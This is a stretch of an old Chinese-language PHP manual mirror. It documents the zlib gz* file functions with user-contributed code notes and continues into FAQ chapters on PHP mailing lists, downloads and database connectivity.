gzgetss | 上一级 | gzopen


gzopen

(PHP 3, PHP 4, PHP 5)

gzopen -- Open gz-file

说明

resource gzopen ( string filename, string mode [, int use_include_path] )

Opens a gzip (.gz) file for reading or writing.

gzopen() can be used to read a file which is not in gzip format; in this case gzread() will directly read from the file without decompression.

参数

filename

The file name.

mode

As in fopen() (rb or wb) but can also include a compression level (wb9) or a strategy: f for filtered data as in wb6f, h for Huffman only compression as in wb1h. (See the description of deflateInit2 in zlib.h for more information about the strategy parameter.)

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

返回值

Returns a file pointer to the file opened, after that, everything you read from this file descriptor will be transparently decompressed and what you write gets compressed.

If the open fails, the function returns FALSE.

范例

例子 1. gzopen() Example

<?php
$fp = gzopen("/tmp/file.gz", "r");
?>

参见

gzclose()

add a note add a note User Contributed Notes
rob at digital-crocus dot com
01-Jun-2005 08:28
dtorop932 at hotmail dot com's comments, according to my tests, is incorrect. That code wishes to download the entire file before parsing, which is inconvinient. The wget method works though.
pentek_imre at mailbox dot hu
30-Jan-2005 02:36
Be aware that when opening a remote file on a http server the gzopen will return by default false after 120 seconds waiting to any answer.
dtorop932 at hotmail dot com
22-Oct-2004 03:04
RE dubious's comment: "Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment..."

One way to read a gzip stream over http is to daisychain stream wrappers, e.g.:

<?
$fp = fopen("compress.zlib://http://some.website.org/example.gz", "r");
?>
-delete-this-part-dubious at 2xtreme dot net
03-Jan-2002 11:22
"On the fly" gunzipping actually DOES seem to work - it just appears that only LOCAL streams/files (including php://stdin) can be accessed for some reason.  I THINK (but have not yet tested) that you could similarly gzopen "php://stdout" and pass a stream of gzipped data to the browser (when run from a web page) or console (when run standalone) through there.

I HAVE tested scripts from the command line like:

wget -q -O- ftp://some.host.net/pub/some_gzip_file.gz | php gunzip_stuff.php

where gunzip_stuff.php would be a script that gzopened "php://stdin" and did gzgets from that stream, and it seems to work fine, but that obviously doesn't help someone wanting to grab gzipped streams from remote sites from a web-based script.

Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment...
add a note add a note

后退 | 起点 | 前进
gzinflate | 上一级 | gzpassthru


gzpassthru

(PHP 3, PHP 4, PHP 5)

gzpassthru -- Output all remaining data on a gz-file pointer

说明

int gzpassthru ( resource zp )

Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.

注: You may need to call gzrewind() to reset the file pointer to the beginning of the file if you have already written data to it.

提示: If you just want to dump the contents of a file to the output buffer, without first modifying it or seeking to a particular offset, you may want to use the readgzfile() function, which saves you the gzopen() call.

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

The number of uncompressed characters read from gz and passed through to the input, or FALSE on error.

范例

例子 1. gzpassthru() example

<?php
$fp = gzopen('file.gz', 'r');
gzpassthru($fp);
gzclose($fp);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gzopen | 上一级 | gzputs


gzputs

(PHP 3, PHP 4, PHP 5)

gzputs -- 别名 gzwrite()

说明

本函数是该函数的别名： gzwrite().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gzpassthru | 上一级 | gzread


gzread

(PHP 3, PHP 4, PHP 5)

gzread -- Binary-safe gz-file read

说明

string gzread ( resource zp, int length )

gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The number of bytes to read.

返回值

The data that have been read.

范例

例子 1. gzread() example

<?php
// get contents of a gz-file into a string
$filename = "/usr/local/something.txt.gz";
$zd = gzopen($filename, "r");
$contents = gzread($zd, 10000);
gzclose($zd);
?>

参见

gzwrite()
gzopen()
gzgets()
gzgetss()
gzfile()
gzpassthru()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gzputs | 上一级 | gzrewind


gzrewind

(PHP 3, PHP 4, PHP 5)

gzrewind -- Rewind the position of a gz-file pointer

说明

bool gzrewind ( resource zp )

Sets the file position indicator of the given gz-file pointer to the beginning of the file stream.

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

gzseek()
gztell()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gzread | 上一级 | gzseek


gzseek

(PHP 3, PHP 4, PHP 5)

gzseek -- Seek on a gz-file pointer

说明

int gzseek ( resource zp, int offset )

Sets the file position indicator for the given file pointer to the given offset byte into the file stream. Equivalent to calling (in C) gzseek(zp, offset, SEEK_SET).

If the file is opened for reading, this function is emulated but can be extremely slow. If the file is opened for writing, only forward seeks are supported; gzseek() then compresses a sequence of zeroes up to the new starting position.

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

offset

The seeked offset.

返回值

Upon success, returns 0; otherwise, returns -1. Note that seeking past EOF is not considered an error.

范例

例子 1. gzseek() example

<?php
$gz = gzopen('somefile.gz', 'r');
gzseek($gz,2);
echo gzgetc($gz);
gzclose($gz);
?>

参见

gztell()
gzrewind()

add a note add a note User Contributed Notes
dperham at wgate dot com
12-Apr-2005 11:47
PHP/4.3.9
contrary to the notes, gzseek() returns -1 if I try to seek past the end of the file.  here is a function that will return the last seekable position, and put the file pointer there.

/** sets the file pointer at the end of the file
 *  and returns the number of bytes in the file.
 */
function gzend($fh)
{
   $d  = 1<<14;
   $eof = $d;
   while ( gzseek($fh, $eof) == 0 ) $eof += $d;
   while ( $d > 1 )
   {
     $d >>= 1;
     $eof += $d * (gzseek($fh, $eof)? -1 : 1);
   }
   return $eof;
}
add a note add a note

后退 | 起点 | 前进
gzrewind | 上一级 | gztell


gztell

(PHP 3, PHP 4, PHP 5)

gztell -- Tell gz-file pointer read/write position

说明

int gztell ( resource zp )

Gets the position of the given file pointer; i.e., its offset into the file stream.

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

The position of the file pointer or FALSE if an error occurs.

参见

gzopen()
gzseek()
gzrewind()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gzseek | 上一级 | gzuncompress


gzuncompress

(PHP 4 >= 4.0.1, PHP 5)

gzuncompress -- Uncompress a compressed string

说明

string gzuncompress ( string data [, int length] )

This function uncompress a compressed string.

参数

data

The data compressed by gzcompress().

length

The maximum length of data to decode.

返回值

The original uncompressed data or FALSE on error.

The function will return an error if the uncompressed data is more than 32768 times the length of the compressed input data or more than the optional parameter length.

范例

例子 1. gzuncompress() example

<?php
$compressed   = gzcompress('Compress me', 9);
$uncompressed = gzuncompress($compressed);
echo $uncompressed;
?>

参见

gzcompress()
gzinflate()
gzdeflate()
gzencode()

add a note add a note User Contributed Notes
chappy at citromail dot hu
13-Apr-2006 10:47
Reading an ID3v2.3+ tag it is versy useful, because these tag's frames might be compressed. Zlib compressed frame layout (ID3v2.3):

Descriptior                                                    Size
-------------------
Frameheader:
Frame id:                                                      4 bytes
Frame size (full frame size - frameheader size): 4 bytes
Frame flags:                                                  2 bytes
   The 2nd byte's 7th bit must be 1 (e.g.: %1xy00000)
Frame content decrompessed size:                  4 bytes
--------------------
Framecontent:
Compressed string                                          described in 'frame size'

<?php
$frame="[read from a mp3 file]";
$frame_id=substr($frame,0,4);
/*....*/
$cs=substr($frame,10,4);
$checksize=$cs[3]*16777216+$cs[2]*65536+$cs[1]*256+$cs[0];

$content=substr($frame,14,$contentsize);
$content=gzuncompress($content);
if(strlen($content)!=$checksize){
   echo 'Error whil uncrompessing frame data<br>';
}
echo $content;
?>
add a note add a note

后退 | 起点 | 前进
gztell | 上一级 | gzwrite


gzwrite

(PHP 3, PHP 4, PHP 5)

gzwrite -- Binary-safe gz-file write

说明

int gzwrite ( resource zp, string string [, int length] )

gzwrite() writes the contents of string to the given gz-file.

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

string

The string to write.

length

The number of uncompressed bytes to write. If supplied, writing will stop after length (uncompressed) bytes have been written or the end of string is reached, whichever comes first.

注: Note that if the length argument is given, then the magic_quotes_runtime configuration option will be ignored and no slashes will be stripped from string.

返回值

Returns the number of (uncompressed) bytes written to the given gz-file stream.

范例

例子 1. gzwrite() example

<?php
$string = 'Some information to compress';
$gz = gzopen('somefile.gz','w9');
gzwrite($gz, $string);
gzclose($gz);
?>

参见

gzread()
gzopen()

add a note add a note User Contributed Notes
Kioob
13-Aug-2003 07:30
This is a short example of use gzwrite function.
<?php
function gzcompressfile($source,$level=false){
   $dest=$source.'.gz';
   $mode='wb'.$level;
   $error=false;
   if($fp_out=gzopen($dest,$mode)){
       if($fp_in=fopen($source,'rb')){
           while(!feof($fp_in))
               gzwrite($fp_out,fread($fp_in,1024*512));
           fclose($fp_in);
           }
         else $error=true;
       gzclose($fp_out);
       }
     else $error=true;
   if($error) return false;
     else return $dest;
   }
?>

the function gzcompressfile() compress a file 'data.csv' to 'data.csv.gz'. the function return false if error, and the new file name if it's ok.
add a note add a note

后退 | 起点 | 前进
gzuncompress | 上一级 | readgzfile


readgzfile

(PHP 3, PHP 4, PHP 5)

readgzfile -- Output a gz-file

说明

int readgzfile ( string filename [, int use_include_path] )

Reads a file, decompresses it and writes it to standard output.

readgzfile() can be used to read a file which is not in gzip format; in this case readgzfile() will directly read from the file without decompression.

参数

filename

The file name. This file will be opened from the filesystem and its contents written to standard output.

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

返回值

Returns the number of (uncompressed) bytes read from the file. If an error occurs, FALSE is returned and unless the function was called as @readgzfile, an error message is printed.

参见

gzpassthru()
gzfile()
gzopen()

add a note add a note User Contributed Notes
glennh at webadept dot net
02-Oct-2003 04:52
This is a rather simple example of usage for this function, but it does work, and it solved a problem I was using with old browsers accessing gzipped files.

<?PHP

// first we need to stop the server from sending any headers at all.
ob_start();

readgzfile("test.html.gz"); // read the file and output directly to
the browser
                                     // non compressed data from the
file

ob_end_flush(); // let the headers go//

?>

There is no need for any html formating if the source file is an HTML formated page, such as the ones I'm using are. Checking the browser version, sends either the gzip file directly, or sends the browser to a page like this, which does the work for it. Well done simple function.

My server is running PHP 4.2.2 on Linux Redhat version 9 and
Apache 2.0.40
add a note add a note

后退 | 起点 | 前进
gzwrite | 上一级 | zlib_get_coding_type


zlib_get_coding_type

(PHP 4 >= 4.3.2, PHP 5)

zlib_get_coding_type -- Returns the coding type used for output compression

说明

string zlib_get_coding_type ( void )

Returns the coding type used for output compression.

返回值

Possible return values are gzip, deflate, or FALSE.

参见

The zlib.output_compression directive

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
readgzfile | 上一级 | PHP 和 Zend 引擎内部资料


FAQ：常见问题

PHP 手册
后退 前进

VIII. FAQ：常见问题

目录
47. 一般信息
48. 邮件列表
49. 获取 PHP
50. 数据库问题
51. 安装常见问题
52. 编译问题
53. 使用 PHP
54. PHP 和 HTML
55. PHP 和 COM
56. PHP 和其它语言
57. 从 PHP/FI 2 移植到 PHP 3
58. 从 PHP 3 移植到 PHP 4
59. 从 PHP 4 移植到 PHP 5
60. 杂类问题

add a note add a note User Contributed Notes
adriaan at vannatijne dot nl
29-Jul-2005 11:48
A dutch FAQ;
www.yapf.net
A dutch site about PHP;
www.phpfreakz.nl
dennis1989 at web dot de
28-Sep-2004 10:56
A German FAQ: http://www.php-faq.de
philip at cornado dot com
31-Dec-2002 07:07
A lot of faqts here:
http://php.faqts.com/
add a note add a note

后退 | 起点 | 前进
Reporting Errors |  | 一般信息


一般信息

PHP 手册
后退 前进

章 47. 一般信息

本章包括了有关 PHP 的大多数一般问题：它是什么和它做什么。

1. PHP 是什么？
2. PHP 这个缩写指的是什么？
3. PHP 版本之间有什么联系？
4. 可以同时运行几个不同版本的 PHP 吗？
5. PHP 3 和 PHP 4 的区别有哪些？
6. 我发现了一个 bug！应该告诉谁？

1. PHP 是什么？

根据本手册的前言：

PHP 是一种 HTML 嵌入式的脚本语言。它的很多语法来自 C，Java 和 Perl，并具有几个 PHP 独有的特点。该语言的主要目标是让 Web 开发人员快速地书写动态生成的网页。

有一个位于 Zend 网站中由 Stig Sther Bakken 所写很好的介绍 http://www.zend.com/zend/art/intro.php。同样，大量的 PHP 研讨会素材也可以免费得到。

2. PHP 这个缩写指的是什么？

PHP 是 PHP: Hypertext Preprocessor 的首字母缩写。很多人有些糊涂了，因为缩写中的第一个字母也来自缩写。这种方法叫做递归缩写，对此好奇的人可以访问 Free On-Line Dictionary of Computing 来得到更多递归缩写的信息。

3. PHP 版本之间有什么联系？

PHP/FI 2.0 是最早的 PHP 版本，已经不再支持。PHP 3 是 PHP/FI 2.0 的后继者，要好很多。PHP 4 是目前一代的 PHP，内部使用了 Zend 引擎。PHP 5 使用了 Zend 引擎 2 代，除了很多新功能之外还提供了许多附加的面向对象编程（OOP）特性。

4. 可以同时运行几个不同版本的 PHP 吗？

可以，见 PHP 4 源程序发行包中的 INSTALL 文件。同样也可以阅读附录中的相关章节。

5. PHP 3 和 PHP 4 的区别有哪些？

对此问题有 PHP 4 的作者写的一些说明。这里列出一些比较重要的新特点：

  • 扩展了 API 模块

  • UNIX 下的通用编译步骤

  • 支持多线程 web 服务器的通用 web 服务器接口

  • 增强了语法高亮显示

  • 支持本地 HTTP 会话

  • 支持输出缓冲

  • 更强大的配置系统

  • 引用计数

请访问 PHP 4 新特点概览查看以上及更多特点的详细解释。如果是从 PHP 3 移植到 PHP 4，也请阅读附录中的相关章节。

6. 我发现了一个 bug！应该告诉谁？

应该访问 PHP Bug 数据库并确认你发现的不是一个已知的 bug。如果你在数据库中没有看到同样的，用报告表单来报告此 bug。使用 bug 数据库而不是给某个邮件列表发邮件非常重要，因为该 bug 会被分配一个跟踪号码，这样你就有可能在以后回来查看该 bug 的状态。Bug 数据库在 http://bugs.php.net/。

add a note add a note User Contributed Notes
10-Sep-2005 07:37
Instead of the Foldoc dictionary for explaining the meaning of  "recursive acronym", why not pointing out to Wikipedia? There you've got the adequate link:

http://en.wikipedia.org/wiki/Recursive_acronym
add a note add a note

后退 | 起点 | 前进
FAQ：常见问题 | 上一级 | 邮件列表


邮件列表

PHP 手册
后退 前进

章 48. 邮件列表

本章包括有关如何与 PHP 团体接触的问题。最好的方法是邮件列表。

1. 有没有 PHP 的邮件列表？
2. 还有其它的团体吗？
3. 救命！我看来不能订阅／取消任何一个邮件列表！
4. 在哪里有个邮件列表的归档吗？
5. 我可以在邮件列表中问什么？
6. 向邮件列表发帖子时我需要包括些什么信息？

1. 有没有 PHP 的邮件列表？

当然有！有很多关于几个主题的邮件列表。所有邮件列表的完整列表在技术支持页面。

最通用的邮件列表是 php-general。要订阅，发送一封邮件到 php-general-subscribe@lists.php.net。不需要在邮件主题或内容中包括任何特殊单词。要取消订阅，发送一封邮件到 php-general-unsubscribe@lists.php.net。

也可以在我们的技术支持页面通过 web 界面来订阅和取消。

2. 还有其它的团体吗？

世界上有无数 PHP 团体。我们的技术支持页面上有例如一些 IRC 服务器和其它语种的邮件列表。

3. 救命！我看来不能订阅／取消任何一个邮件列表！

如果你在订阅或取消 php-general 邮件列表上有问题，可能是因为邮件列表软件没法确定你正确的邮件地址。如果你的 email 地址是 joeblow@example.com，可以将订阅请求发送到 php-general-subscribe-joeblow=example.com@lists.php.net，或者将取消请求发送到 php-general-unsubscribe-joeblow=example.com@lists.php.net。对其它邮件列表用类似的地址。

4. 在哪里有个邮件列表的归档吗？

是的，你可以在技术支持页面找到归档站点的列表。邮件列表的文章也被作为新闻组消息归档。你可以用新闻组客户端来访问位于 news://news.php.net/ 的新闻组服务器。也有一个试验性质的新闻组服务器的 web 界面位于 http://news.php.net/。

5. 我可以在邮件列表中问什么？

由于 PHP 一天比一天更流行，php-general 邮件列表的流量增加到现在的每天 150 到 200 个帖子。由于此原因，为了每个人的利益，使用此列表是你在寻找过所有其它地方后的最后手段。

在你向列表发帖之前请先看看本 FAQ 以及手册是不是能找到帮助。如果找不到的话试试邮件列表归档（见上面）。如果你有安装或者配置 PHP 的问题请从头到尾读一遍所有包含的文档和 README 文件。如果还是不能找到任何可以帮助你的信息，那么很欢迎你使用此邮件列表。

在提问之前，阅读一下怎样聪明地发问这篇文章对每个人都是个好主意。

6. 向邮件列表发帖子时我需要包括些什么信息？

像“我不能启动运行 PHP！帮帮我！哪里出错了？”之类的贴子对任何人都完全没有用。如果你在启动和运行 PHP 上有问题你必须包括你运行的操作系统，你试图配置的 PHP 版本，你怎样得到的（预编译的，CVS，RPM 等等），目前为止你都做了些什么，卡在了何处以及确切的错误信息。

这也同样适用于其它问题。你必须包括你做了什么，卡在了哪里，你试图做什么以及，如果有的话，确切的错误信息。如果你有源代码的问题那你需要包括不起作用部分的代码。可是不要包括超出所必需的代码！这将使贴子很难读并使很多人为此而跳过它。如果你不确定应该在邮件中包括多少信息，那包括多一些比一点点更好。

另一件重要的事是记住在主题一行中概述你的问题。类似“救命！”或者“这是怎么回事？”的主题会被一大半读者忽略。

最后，我们鼓励你阅读一下怎样聪明地发问这篇文章。这对每个人都有很大帮助，尤其是你自己。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
一般信息 | 上一级 | 获取 PHP


获取 PHP

PHP 手册
后退 前进

章 49. 获取 PHP

本章包括 PHP 下载地址以及操作系统相关问题的详细资料。

1. PHP 可以从哪里得到？
2. 有预先编译好的可执行版本吗？
3. 编译一些可选的 PHP 扩展库所需的库文件可以从哪里得到？
4. 怎样使这些库起作用？
5. 我在 Windows 机器中从 CVS 里得到了最新版的 PHP 源代码，需要什么去编译它？
6. 哪里可以找到 browscap.ini 文件？

1. PHP 可以从哪里得到？

可以从任何一个 PHP 网络成员的站点下载 PHP。这些信息在 http://www.php.net/。还可以通过匿名 CVS 得到绝对是最新版的源程序。更多信息请访问 http://www.php.net/anoncvs.php。

2. 有预先编译好的可执行版本吗？

我们只为 Windows 系统提供了预编译的可执行文件，因为我们没法为每个主流的 Linux/Unix 平台编译每一种扩展库组和的 PHP。同样注意，如今很多 Linux 的发行版本已经内置了 PHP。Windows 可执行文件可以从我们的下载页面下载，至于 Linux 可执行文件，请访问你的 Linux 发布商的站点。

3. 编译一些可选的 PHP 扩展库所需的库文件可以从哪里得到？

注: 有 * 号标记的不是多线程的库，不应该用作多线程 Windows web 服务器（IIS，Netscape）的服务器模块。不过这在 Unix 环境下没有关系。

  • LDAP (Unix)

  • LDAP (Unix/Win) : Mozilla Directory (LDAP) SDK

  • 免费 LDAP 服务器

  • Berkeley DB2 (Unix/Win) : http://www.sleepycat.com/.

  • SNMP* (Unix):

  • GD* (Unix/Win)

  • mSQL* (Unix)

  • PostgreSQL (Unix)

  • IMAP* (Win/Unix)

  • Sybase-CT* (Linux, libc5)：内置

  • FreeType (libttf):

  • ZLib (Unix/Win32)

  • expat XML parser (Unix/Win32)

  • PDFLib

  • mcrypt

  • mhash

  • t1lib

  • dmalloc

  • aspell

  • readline

4. 怎样使这些库起作用？

需要按照这些库提供的说明进行。一些库可以在运行 PHP 的“configure”时自动检测到（例如 GD 库），其它的必需用“--with-EXTENSION”选项来激活。运行“configure --help”来得到完整的列表。

5. 我在 Windows 机器中从 CVS 里得到了最新版的 PHP 源代码，需要什么去编译它？

首先，需要 Microsoft Visual C++ v6（v5 也许也行，不过我们是用 v6 编译的），此外还需要一些支持文件。参见手册中的在 Windows 下编译 PHP 源代码一节。

6. 哪里可以找到 browscap.ini 文件？

可以从 http://www.garykeith.com/browsers/downloads.asp 得到一个 browscap.ini 文件。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
邮件列表 | 上一级 | 数据库问题


数据库问题

PHP 手册
后退 前进

章 50. 数据库问题

本节包括 PHP 和数据库之间关系的常见问题。是的，PHP 事实上可以访问如今现有的任何数据库。

1. 听说 PHP 有可能访问 Microsoft SQL Server，怎样访问？
2. 能访问 Microsoft Access 数据库吗？
3. 我升级到了 PHP 4，结果 MySQL 不断报告“Warning: MySQL: Unable to save result set in ..”，这是怎么回事？
4. PHP 5 不再绑定 MySQL 客户端库，这对我意味着什么？我还能在 PHP 中使用 MySQL 吗？我试着使用 MySQL 结果得到“function undefined”错误，怎么办？
5. 在安装共享 MySQL 支持之后，只要一加载 libphp4.so，Apache就会 core dump。这个问题能解决吗？
6. 为什么我得到类似如下的错误：“Warning: 0 is not a MySQL result index in <file> on line <x>”或者“Warning: Supplied argument is not a valid MySQL result resource in <file> on line <x>”？

1. 听说 PHP 有可能访问 Microsoft SQL Server，怎样访问？

在 Windows 机器中，可以简单地使用内置的 ODBC 支持和正确的 ODBC 驱动程序。

在 Unix 机器中，可以用 Sybase-CT 驱动程序来访问 Microsoft SQL Server，因为它们的协议是（至少大部分）兼容的。Sybase 做了一个 Linux 系统下所需库的免费版本。对于其它 Unix 操作系统，需要和 Sybase 联系来得到正确的库。同样也看看下一个问题的回答。

2. 能访问 Microsoft Access 数据库吗？

可以。如果完全在 Windows 9x/Me/NT/2000 下运行，那已经有了所有所需的工具，可以用 ODBC 和 Microsoft's ODBC drivers for Microsoft Access database。

如果在 Unix 下运行 PHP 而想访问 Windows 中的 MS Access，那需要 Unix ODBC 驱动程序。OpenLink Software 有一个基于 Unix 的 ODBC 驱动程序可以做这件事。可以下载和试用一个不会过期的免费程序，商业支持版本的价格从 $675 起。

另外一个替代方案是用带 Windows ODBC 驱动的 SQL Server 并用它来储存数据，可以通过 Microsoft Access（用 ODBC）和 PHP（用内置驱动）来访问，或者用一个 Access 和 PHP 都识别的中间文件格式，例如 flat 文件或者 dBase 数据库。关于这一点 OpenLink Software 的 Tim Hayes 写道：

当可以通过 ODBC 直接从 PHP 访问数据库时――例如用 OpenLink 的驱动程序，使用其它数据库做中间媒介不是一个好主意。如果确实需要一个中间文件格式，OpenLink 已经发布了对应于 Windows NT，Linux 和其它 Unix 平台的 Virtuoso（一个虚拟数据库引擎）。请访问我们的网站来免费下载。

还有一个已被证实有效的选择是在 Windows 下用 MySQL 和它的 MyODBC 驱动来同步数据库。Steve Lawrence 写道：

  • 根据 MySQL 的说明在你的平台上安装 MySQL。可以从 www.mysql.com 得到最新版（从离你最近的镜像站点下载！）。除了设定数据库和配置用户帐号以外不需要特殊的配置，应该在 host 字段中放一个 % 或者要用来访问 MySQL 的 Windows 机器名。记下自己的服务器名，用户名和密码。

  • 从 MySQL 网站下载 MyODBC for Windows 驱动程序。最新版是 myodbc-2_50_19-win95.zip（也可以用于 NT，以及源代码）。在你的 Windows 机器中安装它。可以用此程序中包括的工具来测试其操作。

  • 用控制面板中的 ODBC 管理器新建一个用户或系统 dsn，设定 dsn 名称，输入你在第一步中配置的 MySQL 数据库的主机名，用户名，密码，端口等。

  • 完整安装 Access，这样可以确保得到适当的插件 ... 至少需要 ODBC 支持和连接表管理器。

  • 新建一个 Access 数据库。在 Table 窗口点击右键并选择 Link Tables，或者在 File 菜单下选择 Get External Data -> Link Tables。当文件浏览窗口打开后，选择文件类型为：ODBC。接着选择 System dsn 以及在第三步建立的 dsn 的名字。再选择要连接的表，点击 OK。现在你可以在你的 MySQL 服务器中打开表并新建／删除／编辑数据了！也可以构造查询，导入／导出表到 MySQL，构造表单和报告等。

提示与技巧：

  • 可以在 Access 中构造表并导出到 MySQL 中，再把它们连接回来。这样可以使表的建立更快。

  • 在 Access 中建立表时，必需定义一个基本键名来取得表的写权限。确认在把表连接到 Access 之前在 MySQL 中建立了基本键名。

  • 如果在 MySQL 中修改了表，必须重新连接到 Access。打开 Tools>Add-ins>Linked table manager，找到你的 ODBC DSN，然后在这里选择要重新连接的表。也可以在这里移动 dsn 源，在点击 OK 之前选中 always prompt for new location。

3. 我升级到了 PHP 4，结果 MySQL 不断报告“Warning: MySQL: Unable to save result set in ..”，这是怎么回事？

看上去最有可能的是，PHP 4 在编译时使用了 --with-mysql 选项但没有指定 MySQL 的路径。这意味着 PHP 使用了它自己内置的 MySQL 客户端库。如果你的系统运行了使用其它版本的 MySQL 客户端库的应用程序，例如作为 Apache 模块的 PHP 3，那么在两个不同版本的客户端之间有冲突。

重新编译 PHP 4，并在标记中加上 MySQL 的路径“--with-mysql=/your/path/to/mysql”通常会解决此问题。

4. PHP 5 不再绑定 MySQL 客户端库，这对我意味着什么？我还能在 PHP 中使用 MySQL 吗？我试着使用 MySQL 结果得到“function undefined”错误，怎么办？

是的。PHP 总是支持 MySQL 的，不是这种方法就是那种方法。在 PHP 5 中唯一的改变就是不再绑定客户端库本身了。部分原因是（无特定顺序）：

  • 现今大多数系统已经安装了客户端库了。

  • 由于以上原因，保持多个版本的库文件会导致混乱。例如，如果把 mod_auth_mysql 连接到某个版本，但把 PHP 连接到了另一个版本，然后在 Apache 中同时激活了它们，会得到无数错误。此外，绑定的库文件也不总是能和服务器端的版本很好地配合。对此最明显的症状是上哪里去找 UNIX 域套接字文件 mysql.socket。

  • 维护有些松懈，并且已经越来越落后于发行的版本了。

  • 未来的库版本是基于 GPL 的，因此我们没有升级的途径了，因为我们不能将基于 GPL 的库和 BSD/Apache 风格许可证的项目绑定到一起。因此具有一个干净的 PHP 5 是最好的选择。

事实上这并不会影响到太多人。UNIX 用户，起码是那些知道自己在做什么的人，往往会在编译 PHP 时通过 --with-mysql=/usr 将其绑定到自己系统中的 libmyqlclient 库上。Windows 用户可以在 php.ini 中激活 php_mysql.dll 扩展库。更多细节见 MySQL 函数中的安装指南。此外，确认 libmysql.dll 在系统路径中。具体怎样做的详情，请阅读 FAQ 中的设定 Windows 系统路径。因为 libmysql.dll（以及很多其它 PHP 有关文件）存放于 PHP 目录中，可能需要将 PHP 目录加入到系统路径中。

5. 在安装共享 MySQL 支持之后，只要一加载 libphp4.so，Apache就会 core dump。这个问题能解决吗？

如果你的 MySQL 库依靠 pthreads 连接就会这样。检查是否使用了 ldd。如果有的话，下载 MySQL 源程序编译，或者从源 rpm 的 spec 文件中去掉打开 threaded client 的选项然后重新编译。以上任一建议会解决此问题。然后再加上新的 MySQL 库重新编译 PHP。

6. 为什么我得到类似如下的错误：“Warning: 0 is not a MySQL result index in <file> on line <x>”或者“Warning: Supplied argument is not a valid MySQL result resource in <file> on line <x>”？

你试图用一个值为 0 的结果资源号。0 表示你的查询由于某原因失败了，需要在提交查询之后和在使用返回结果资源号之前检查错误。正确的方法是用类似如下的代码：
<?php

$result = mysql_query("SELECT * FROM tables_priv");
if (!$result) {
    echo mysql_error();
    exit;
}
?>
或者
<?php

$result = mysql_query("SELECT * FROM tables_priv")
    or die("Bad query: " . mysql_error());
?>

add a note add a note User Contributed Notes
Kaleabtesfaye at hotmail dot com
14-Apr-2006 03:56
If Some1 is intersted on PHP with MS Access
here is some code
<?php

$db = 'C:\\Program Files\\Microsoft Office\\Office\\Samples\\Northwind.mdb';

$conn = new COM('ADODB.Connection') //or exit('Cannot start ADO.');

// Two ways to connect. Choose one.
$conn->Open("Provider=Microsoft.Jet.OLEDB.4.0; Data Source=$db") or exit('Cannot open with Jet.');
//$conn->Open("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=$db") //or exit('Cannot open with driver.');

$sql = 'SELECT  Table Field1,feild2...
   FROM    db
   ORDER BY Field';
$rs = $conn->Execute($sql);

?>

Enjoy
Addis Ababa,
Ethiopia
jstoner at NOSPAM dot opsource dot net
02-Mar-2006 05:56
Building in a Redhat 4 64-bit environment:

This assumes you're using Redhat's RPMs (mysql, mysql-devel).

MySQL libraries get installed in /usr/lib64 but PHP only searches /usr/lib. This means your config will fail. You need to create a fake install of MySQL in another directory to get PHP to build correctly.

Create another directory, say /usr/local/mysql. Then cd into that directory and create 2 symbolic links pointing to the appropriate include directory and lib directory:

# mkdir /usr/local/mysql
# cd /usr/local/mysql
# ln -s /usr/include/mysql include
# ln -s /usr/lib64/mysql lib

Now, you should be able to configure PHP with "--with-mysql=/usr/local/mysql" and build properly.
James Coburn
01-Feb-2006 09:31
An easy way to compile PHP5 when you have installed mysql, but
- you can't find the "mysql header files" or
- get this error: Cannot find MySQL header files under /usr/

: simply install mysql-devel from mysql site.
plandis98 at yahoo dot com
19-Dec-2005 02:46
If one is using PHP on Windows to connection to MS SQL Server and does not want to pass credentials via the mssql_connect but instead use MS Connectionless NT Authentication, what is the proper syntax/usage?

I believe you want to turn on secure_connection in php.ini file:
; Use NT authentication when connecting to the server
mssql.secure_connection = On
djlopez at gmx dot de
08-Sep-2005 08:51
How to compile PHP5 when you have installed mysql, but
- you can't find the "mysql header files" or
- get this error: Cannot find MySQL header files under /usr/

If you want to use mysql 4.0 (*not* 4.1 or even higher!) just download & extract the latest mysql4.0 binary distribution to e.g.
/root/mysql40/

but don't start it (it even should not work, if you have a mysql server already running)

Then use --with-mysql=/root/mysql4 within your php5 configuration.

After compiling/installing (make, make install), you may delete the /root/mysql40/ directory, or keep it for later versions of php5.
21-Mar-2005 05:19
Just a quick note which may help Windows users setting up PHP/Apache/MySQL.  I was receiving these two error messages on Apache startup: 1) "The procedure entry point mysql_thread_end could not be located in the dynamic link library LIBMYSQL.dll" and 2) "PHP Startup: Unable to load dynamic library '<my php installation dir>/ext/php_mysql.dll' - The specified procedure could not be found".  After checking that libmysql.dll did exist in my root PHP install dir, and that this dir was in my path, I determined that the problem was an older version of libmysql.dll.  My solution was to search all harddrives for this file (I found 6 copies of 5 different versions), and rename all of them except my PHP install dir copy.  PHP, Apache and MySQL all function as expected after making this change.
knb at gfz-potsdam dot de
11-Oct-2004 05:53
This is a crucial piece of information for SYBASE users:

If you are using the free, but old, 11.x client libs from sybase,
 then compile with option  "--with-sybase-ct=$SYBASE"
substitute $SYBASE with the appropriate directory name.

